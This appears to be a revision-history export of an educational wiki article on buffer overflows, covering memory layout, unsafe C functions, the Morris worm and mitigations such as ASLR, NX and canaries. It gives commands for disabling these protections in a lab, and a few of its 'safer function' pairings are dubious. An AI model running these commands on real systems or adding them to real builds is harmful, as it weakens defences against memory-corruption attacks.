=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may overwrite the return pointer to redirect the flow of execution.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16966</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16966"/>
		<updated>2024-12-11T11:27:20Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* The Stack and Important Control Structures */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may overwrite the return pointer to redirect the flow of execution.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
